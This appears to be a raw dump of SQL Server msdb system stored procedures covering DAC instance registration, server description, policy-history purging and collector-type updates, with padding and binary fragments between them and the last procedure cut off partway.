!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!e`<:J0b %8((0))0'^ 8CREATE PROCEDURE [dbo].[sp_sysdac_add_instance]  
    @type_name sysname,
    @instance_id UniqueIdentifier = NULL,            
    @instance_name sysname,
    @type_version NVARCHAR(64) = NULL,
    @description nvarchar(4000) = N'',
    @type_stream varbinary(max)
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@type_name IS NULL OR @type_name = N'')
        SET @null_column = '@type_name'
    ELSE IF (@instance_name IS NULL OR @instance_name = N'')
        SET @null_column = '@instance_name'
    ELSE IF (@instance_id IS NULL )
        SET @null_column = '@instance_id'
    ELSE IF( @type_version = N'')
        SET @null_column = '@type_version'
    ELSE IF( @type_stream IS NULL)
        SET @null_column = '@type_stream'
      

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_add_instance')
        RETURN(1)
    END

    -- only users that can create a dac can add instances
    if (dbo.fn_sysdac_is_dac_creator() != 1)
    BEGIN
        RAISERROR(36010, -1, -1);
        RETURN(1); -- failure
    END
    
    --instance_name is unique
    IF EXISTS (SELECT * FROM dbo.sysdac_instances_internal WHERE instance_name = @instance_name) 
    BEGIN
        RAISERROR(36001, -1, -1, 'DacInstance', @instance_name)
        RETURN(1)
    END

    --Ensure that the database being referred exists
    IF NOT EXISTS (SELECT * from sys.sysdatabases WHERE name = @instance_name)
    BEGIN
        RAISERROR(36005, -1, -1, @instance_name)
        RETURN(1)
    END
  
    INSERT INTO [dbo].[sysdac_instances_internal]
        (instance_id, type_name, instance_name, type_version, description, type_stream)
    VALUES
        (@instance_id, @type_name, @instance_name, @type_version, @description, @type_stream)

    SELECT @retval = @@error
    RETURN(@retval)
END
0l 8CREATE PROCEDURE sp_generate_server_description
  @description NVARCHAR(100) = NULL OUTPUT,
  @result_set  BIT = 0
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @xp_results TABLE
  (
  id              INT           NOT NULL,
  name            NVARCHAR(30)  COLLATE database_default NOT NULL,
  internal_value  INT           NULL,
  character_value NVARCHAR(212) COLLATE database_default NULL
  )
  INSERT INTO @xp_results
  EXECUTE master.dbo.xp_msver

  UPDATE @xp_results
  SET character_value = FORMATMESSAGE(14205)
  WHERE (character_value IS NULL)

  SELECT @description = (SELECT character_value FROM @xp_results WHERE (id = 1)) + N' ' +
                        (SELECT character_value FROM @xp_results WHERE (id = 2)) + N' / Windows ' +
                        (SELECT character_value FROM @xp_results WHERE (id = 15)) + N' / ' +
                        (SELECT character_value FROM @xp_results WHERE (id = 16)) + N' ' +
                        (SELECT CASE character_value
                                  WHEN N'PROCESSOR_INTEL_386'     THEN N'386'
                                  WHEN N'PROCESSOR_INTEL_486'     THEN N'486'
                                  WHEN N'PROCESSOR_INTEL_PENTIUM' THEN N'Pentium'
                                  WHEN N'PROCESSOR_MIPS_R4000'    THEN N'MIPS'
                                  WHEN N'PROCESSOR_ALPHA_21064'   THEN N'Alpha'
                                  ELSE character_value
                                END
                         FROM @xp_results WHERE (id = 18)) + N' CPU(s) / ' +
                        (SELECT CONVERT(NVARCHAR, internal_value) FROM @xp_results WHERE (id = 19)) + N' MB RAM.'
  IF (@result_set = 1)
    SELECT @description
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N`,<-K%@0O$ 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_delete_policy_history 
WITH EXECUTE AS OWNER
AS
BEGIN
    SET NOCOUNT ON; 
    
    DECLARE @over_utilization_trailing_window INT = 1
    DECLARE @under_utilization_trailing_window INT = 1

    DECLARE @rows_affected bigint;
    DECLARE @delete_batch_size int;

    -- As we delete the master record in the history table which cascades
    -- to foreign key records in details table; keep the delete batch size to 100.
    SET @delete_batch_size = 100;
    SET @rows_affected = -1;

    -- Get the configured over utilization trailing window
    SELECT @over_utilization_trailing_window = CAST(ci.current_value AS INT)
    FROM msdb.dbo.sysutility_ucp_configuration_internal ci
    WHERE ci.name = 'OverUtilizationTrailingWindow'

    -- Get the configured under utilization trailing window
    SELECT @under_utilization_trailing_window = CAST(ci.current_value AS INT)
    FROM msdb.dbo.sysutility_ucp_configuration_internal ci
    WHERE ci.name = 'UnderUtilizationTrailingWindow'

    -- Purge volatile resource policy evaluation history against over utilization trailing window
    DECLARE @max_end_date datetime;
    SET @max_end_date = DATEADD(HH, -@over_utilization_trailing_window, CURRENT_TIMESTAMP);
    SET @rows_affected = -1;
    WHILE (@rows_affected != 0)
    BEGIN
        -- We use sp_executesql here because the values of @delete_batch_size and @max_end_date could 
        -- influence plan selection. These are variables that have unknown values when the plan for the 
        -- proc is compiled.  By deferring compilation until the variables have taken on their final values, 
        -- we give the optimizer information that it needs to choose the best possible plan.  We could also 
        -- use an OPTION(RECOMPILE) hint to accomplish the same thing, but the sp_executesql approach avoids 
        -- paying the plan compile cost for each loop iteration. 
        EXEC sp_executesql N'
            DELETE TOP (@delete_batch_size) h
            FROM msdb.dbo.syspolicy_policy_execution_history_internal h
            INNER JOIN msdb.dbo.sysutility_ucp_policies p ON p.policy_id = h.policy_id
            WHERE p.resource_type = 3        -- processor resource type
                AND p.utilization_type = 2   -- over-utilization
                AND h.end_date < @max_end_date', 

            N'@delete_batch_size int, @max_end_date datetime', 
            @delete_batch_size = @delete_batch_size, @max_end_date = @max_end_date;

        SET @rows_affected = @@ROWCOUNT;
    END;
    
    -- Purge volatile resource policy evaluation history against under utilization trailing window
    SET @max_end_date = DATEADD(HH, -@under_utilization_trailing_window, CURRENT_TIMESTAMP);
    SET @rows_affected = -1;
    WHILE (@rows_affected != 0)
    BEGIN    
        EXEC sp_executesql N'
            DELETE TOP (@delete_batch_size) h
            FROM msdb.dbo.syspolicy_policy_execution_history_internal h
            INNER JOIN msdb.dbo.sysutility_ucp_policies p ON p.policy_id = h.policy_id
            WHERE p.resource_type = 3        -- processor resource type
                AND p.utilization_type = 1   -- under-utilization
                AND h.end_date < @max_end_date', 

            N'@delete_batch_size int, @max_end_date datetime', 
            @delete_batch_size = @delete_batch_size, @max_end_date = @max_end_date;

        SET @rows_affected = @@ROWCOUNT;
    END;
    
    -- Purge non-volatile resource policy evaluation history older than the current processing_time recorded 
    -- The latest policy evaluation results are not purged to avoid potential conflicts with the health 
    -- state computation running simultaneoulsy in the caching (master) job during the same time schedule. 
    SET @rows_affected = -1;
    -- PBM stores the end_date in local time so convert the 'latest_processing_time' datetimeoffset to a local datetime
    SELECT @max_end_date = CONVERT(DATETIME, latest_processing_time) FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal];
    WHILE (@rows_affected != 0)
    BEGIN     
        EXEC sp_executesql N'
            DELETE TOP (@delete_batch_size) h
            FROM msdb.dbo.syspolicy_policy_execution_history_internal h
            INNER JOIN msdb.dbo.sysutility_ucp_policies p ON p.policy_id = h.policy_id
            WHERE p.resource_type = 1    -- storage space resource type
                AND h.end_date < @max_end_date', 

            N'@delete_batch_size int, @max_end_date datetime',  
            @delete_batch_size = @delete_batch_size, @max_end_date = @max_end_date; 
            
        SET @rows_affected = @@ROWCOUNT;
    END;            
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-<ORv0ґ% 8CREATE PROCEDURE [dbo].[sp_syscollector_update_collector_type]
    @collector_type_uid            uniqueidentifier = NULL,
    @name                        sysname = NULL,
    @parameter_schema            xml = NULL,
    @parameter_formatter        xml = NULL,
    @collection_package_id        uniqueidentifier,
    @upload_package_id            uniqueidentifier
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_update_collector_type
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END

    -- Check the validity of the name/uid pair
